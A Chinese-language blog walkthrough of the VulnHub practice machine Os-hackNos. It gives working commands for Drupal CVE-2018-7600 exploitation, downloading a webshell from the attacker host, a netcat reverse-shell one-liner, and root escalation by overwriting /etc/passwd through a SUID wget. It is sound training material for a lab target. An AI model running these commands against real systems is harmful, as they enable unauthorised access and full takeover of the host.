vulnhub靶机练习-Os-hackNos

0x01 靶机简介

Difficulty : Easy to Intermediate
Flag : 2 Flag first user And second root
Learning : exploit | Web Application | Enumeration | Privilege Escalation
Website : www.hackNos.com
mail : [email protected]
靶机下载 https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
通过靶机简介,明确靶场的通关目标为获取到包括root在内的两个user相关flag


0x02 信息收集

  1. 存活主机发现
    因为没有目标主机的IP,所以我们先扫一下C段。
    nmap -A 192.168.31.0/24
    发现目标主机IP

    发现目标主机地址为192.168.31.50,同时该主机开启了22端口和80端口。
  2. 目录扫描
    80端口为web服务的端口,浏览器访问192.168.31.50:80发现是Apache的默认页。
    Apache默认页

    扫描一下网站目录。
    gobuster dir -u http://192.168.31.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o ~/Desktop/oshacknos/oshacknos
    目录扫描结果

    发现存在drupal的目录,访问http://192.168.31.50/drupal/跳转到了一个登录页面
    drupal登录页面

0x03 getshell

  1. 漏洞发现
    drupal是一个PHP语言编写的CMS管理系统,我们先访问http://192.168.31.50/drupal/CHANGELOG.txt查看一下drupal的更新日志,查看到当前drupal的版本号为7.57。
    drupal当前版本

    通过搜索引擎搜索,查询到drupal 7.57存在一个RCE漏洞,CVE编号为CVE-2018-7600。然后在最大同性交友网站github上找到了EXP,地址为https://github.com/pimps/CVE-2018-7600。
  2. 漏洞利用
    运行找到的exp,查看帮助后得知只需要指定目标,然后-c指定命令即可
    exp使用帮助

    python3 drupa7-CVE-2018-7600.py http://192.168.31.50/drupal/ -c id就是执行id命令
    id执行结果
  3. 上传webshell
    利用RCE漏洞,我们能上传一个webshell到目标主机。
    首先使用python开启一个简单的http服务来传输文件python -m SimpleHTTPServer,端口为默认的8000
    开启http服务

    上传一句话后门到目标主机
    python3 drupa7-CVE-2018-7600.py http://192.168.31.50/drupal/ -c "wget http://192.168.31.228:8000/asson.php"
    上传后门

    检查webshell是否上传成功
    python3 drupa7-CVE-2018-7600.py http://192.168.31.50/drupal/ -c ls
    上传成功

    访问http://192.168.31.50/drupal/asson.php,然后使用蚁剑进行链接
    蚁剑链接成功
  4. 拿到第一个flag
    通过webshell进到/home/james目录,发现目录下有一个user.txt的文件,打开后拿到第一个flag


    第一个flag

0x04 提权get第二个flag

通过靶场的简介得知,还有一个flag是root用户的。尝试直接cd到root目录,提示权限不够,因此得想办法提权。

  1. 通过NC拿到反弹shell
    kali开启监听,nc -lvnp 12345
    蚁剑的shell上使用rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.228 12345 >/tmp/f命令反弹shell
    反弹shell

    使用python3 -c 'import pty;pty.spawn("/bin/bash")'命令切换到python3的shell,可以方便的看到目录
    切换为python3的shell
  2. 利用suid提权
  • 查找具有suid权限的进程
    find / -perm -u=s -type f 2>/dev/null
    具有suid权限的进程

    看到WGET进程具有suid权限,因此我们思路就可以确定了。先复制目标主机的passwd内容,接着在kali上向passwd文件内添加一个具有root权限的账号,然后利用具有suid权限的WGET进行将passwd文件进行替换。
  • 在kali新建一个passwd文件,并复制目标主机的passwd文件内容,粘贴到kali的passwd文件中
    目标主机运行cat /etc/passwd命令,并复制passwd文件内容
    复制目标主机passwd内容

    kali机运行vi passwd粘贴目标主机passwd内容并保存
  • 新建一个OpenSSL账号,并替换为root权限,粘贴至kali机的passwd文件内
    openssl passwd -1 -salt asson 123456
    生成的密码密文为asson1p0D5QYpC4uhGp1ikB265f/:0:0:root:/root:/bin/bash并新增至kali机的passwd文件内
    passwd文件
  • 替换目标主机的passwd文件
    目标主机运行wget http://192.168.31.228:8000/passwd -O /etc/passwd
    替换目标主机passwd文件
  1. get第二个flag
    passwd文件替换成功后,su到asson用户即可拥有root权限


    切换为root用户

    cd到root目录,发现目录下存在root.txt文件,打开后即可get第二个flag


    get第二个flag

0x05 总结

已知网站的CMS时,第一时间查找CMS相关的漏洞,不要自己瞎搞!浪费时间!!!

你可能感兴趣的:(vulnhub靶机练习-Os-hackNos)